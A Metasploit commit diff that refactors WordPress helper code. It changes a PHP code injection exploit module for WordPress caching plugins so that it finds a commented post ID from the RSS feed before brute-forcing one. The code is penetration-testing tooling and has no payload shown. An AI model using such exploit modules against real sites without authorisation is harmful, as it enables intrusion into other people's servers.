use feed first before trying to bruteforce

bug/bundler_fix
Christian Mehlmauer 2013-08-25 10:16:43 +02:00
parent 5f7ccf1cbe
commit 035258389f
5 changed files with 66 additions and 24 deletions

View File

@ -330,6 +330,19 @@ module Exploit::Remote::HttpClient
new_str new_str
end end
# Returns the Path+Query from a full URI String, nil on error
def path_from_uri(uri)
begin
temp = URI(uri)
ret_uri = temp.path
ret_uri << "?#{temp.query}" unless temp.query.nil? or temp.query.empty?
return ret_uri
rescue URI::Error
print_error "Invalid URI: #{uri}"
return nil
end
end
# #
# Returns the target host # Returns the target host
# #

View File

@ -116,15 +116,7 @@ module Msf::HTTP::Wordpress::Helpers
return nil unless res and (res.code == 301 or res.code == 302) and res.headers['Location'] return nil unless res and (res.code == 301 or res.code == 302) and res.headers['Location']
location = res.headers['Location'] location = res.headers['Location']
begin path_from_uri(location)
temp = URI(res.headers['Location'])
uri = temp.path
uri << "?#{temp.query}" unless temp.query.nil? or temp.query.empty?
return uri
rescue URI::Error
print_error("#{peer} - Invalid Location Header returned (not an URI): #{location}")
return nil
end
end end
end end

View File

@ -52,14 +52,33 @@ module Msf::HTTP::Wordpress::Posts
# @param post_id [Integer] The post ID to check # @param post_id [Integer] The post ID to check
# @param login_cookie [String] If set perform the check as an authenticated user # @param login_cookie [String] If set perform the check as an authenticated user
# @return [String,nil] the HTTP response body of the post, nil otherwise # @return [String,nil] the HTTP response body of the post, nil otherwise
def wordpress_post_comments_enabled?(post_id, login_cookie=nil) def wordpress_post_id_comments_enabled?(post_id, login_cookie=nil)
wordpress_helper_check_post_id(wordpress_url_post(post_id), true, login_cookie) wordpress_helper_check_post_id(wordpress_url_post(post_id), true, login_cookie)
end end
# Checks if the provided post has comments enabled
#
# @param url [String] The post url
# @param login_cookie [String] If set perform the check as an authenticated user
# @return [String,nil] the HTTP response body of the post, nil otherwise
def wordpress_post_comments_enabled?(url, login_cookie=nil)
wordpress_helper_check_post_id(url, true, login_cookie)
end
# Gets the post_id from a post body
#
# @param body [String] The body of a post
# @return [String,nil] The post_id, nil when nothing found
def get_post_id_from_body(body)
return nil unless body
body.match(/<body class="[^=]*postid-(\d+)[^=]*">/i)[1]
end
# Tries to get some Blog Posts via the RSS feed # Tries to get some Blog Posts via the RSS feed
# #
# @param max_redirects [Integer] maximum redirects to follow
# @return [Array<String>,nil] String Array with valid blog posts, nil on error # @return [Array<String>,nil] String Array with valid blog posts, nil on error
def wordpress_get_all_blog_posts_via_feed def wordpress_get_all_blog_posts_via_feed(max_redirects = 10)
vprint_status("#{peer} - Enumerating Blog posts...") vprint_status("#{peer} - Enumerating Blog posts...")
blog_posts = [] blog_posts = []
@ -70,7 +89,7 @@ module Msf::HTTP::Wordpress::Posts
'method' => 'GET' 'method' => 'GET'
}) })
count = datastore['NUM_REDIRECTS'] count = max_redirects
# Follow redirects # Follow redirects
while (res.code == 301 || res.code == 302) and res.headers['Location'] and count != 0 while (res.code == 301 || res.code == 302) and res.headers['Location'] and count != 0
@ -109,7 +128,8 @@ module Msf::HTTP::Wordpress::Posts
end end
links.each do |link| links.each do |link|
blog_posts << link[0] path = path_from_uri(link[0])
blog_posts << path if path
end end
return blog_posts return blog_posts
end end

View File

@ -103,7 +103,7 @@ class Metasploit3 < Msf::Auxiliary
def get_blog_posts(xml_rpc, ip) def get_blog_posts(xml_rpc, ip)
# find all blog posts within IP and determine if pingback is enabled # find all blog posts within IP and determine if pingback is enabled
blog_posts = wordpress_get_all_blog_posts_via_feed blog_posts = wordpress_get_all_blog_posts_via_feed(datastore['NUM_REDIRECTS'])
blog_posts.each do |blog_post| blog_posts.each do |blog_post|
pingback_response = get_pingback_request(xml_rpc, 'http://127.0.0.1', blog_post) pingback_response = get_pingback_request(xml_rpc, 'http://127.0.0.1', blog_post)
if pingback_response if pingback_response

View File

@ -20,7 +20,7 @@ class Metasploit3 < Msf::Exploit::Remote
is also reported as vulnerable. The vulnerability is due to the handling of certain is also reported as vulnerable. The vulnerability is due to the handling of certain
macros such as mfunc, which allows arbitrary PHP code injection. A valid post ID is macros such as mfunc, which allows arbitrary PHP code injection. A valid post ID is
needed in order to add the malicious comment. If the POSTID option isn't specified, needed in order to add the malicious comment. If the POSTID option isn't specified,
then the module will automatically bruteforce one. Also, if anonymous comments then the module will automatically find or bruteforce one. Also, if anonymous comments
aren't allowed, then a valid username and password must be provided. In addition, aren't allowed, then a valid username and password must be provided. In addition,
the "A comment is held for moderation" option on Wordpress must be unchecked for the "A comment is held for moderation" option on Wordpress must be unchecked for
successful exploitation. This module has been tested against Wordpress 3.5 and successful exploitation. This module has been tested against Wordpress 3.5 and
@ -97,7 +97,7 @@ class Metasploit3 < Msf::Exploit::Remote
def exploit def exploit
unless wordpress_and_online? unless wordpress_and_online?
fail_with(Failure::NoTarget, "#{peer} does not seeem to be Wordpress site") fail_with(Failure::NoTarget, "#{target_uri} does not seeem to be Wordpress site")
end end
@auth = require_auth? @auth = require_auth?
@ -117,7 +117,23 @@ class Metasploit3 < Msf::Exploit::Remote
@post_id = datastore['POSTID'] @post_id = datastore['POSTID']
print_status("#{peer} - Using the user supplied POST ID #{@post_id}...") print_status("#{peer} - Using the user supplied POST ID #{@post_id}...")
else else
print_status("#{peer} - Trying to brute force a valid POST ID...") print_status("#{peer} - Trying to get posts from feed...")
all_posts = wordpress_get_all_blog_posts_via_feed
# First try all blog posts provided by feed
if all_posts
all_posts.each do |p|
vprint_status("#{peer} - Checking #{p}...")
enabled = wordpress_post_comments_enabled?(p, @cookie)
@post_id = get_post_id_from_body(enabled)
if @post_id
print_status("#{peer} - Found Post POST ID #{@post_id}...")
break
end
end
end
# if nothing found, bruteforce a post id
unless @post_id
print_status("#{peer} - Nothing found. Trying to brute force a valid POST ID...")
min_post_id = datastore['MIN_POST_ID'] min_post_id = datastore['MIN_POST_ID']
max_post_id = datastore['MAX_POST_ID'] max_post_id = datastore['MAX_POST_ID']
@post_id = wordpress_bruteforce_valid_post_id_with_comments_enabled(min_post_id, max_post_id, @cookie) @post_id = wordpress_bruteforce_valid_post_id_with_comments_enabled(min_post_id, max_post_id, @cookie)
@ -127,6 +143,7 @@ class Metasploit3 < Msf::Exploit::Remote
print_status("#{peer} - Using the brute forced POST ID #{@post_id}...") print_status("#{peer} - Using the brute forced POST ID #{@post_id}...")
end end
end end
end
random_test = rand_text_alpha(64) random_test = rand_text_alpha(64)
@sum = Rex::Text.sha1(random_test) @sum = Rex::Text.sha1(random_test)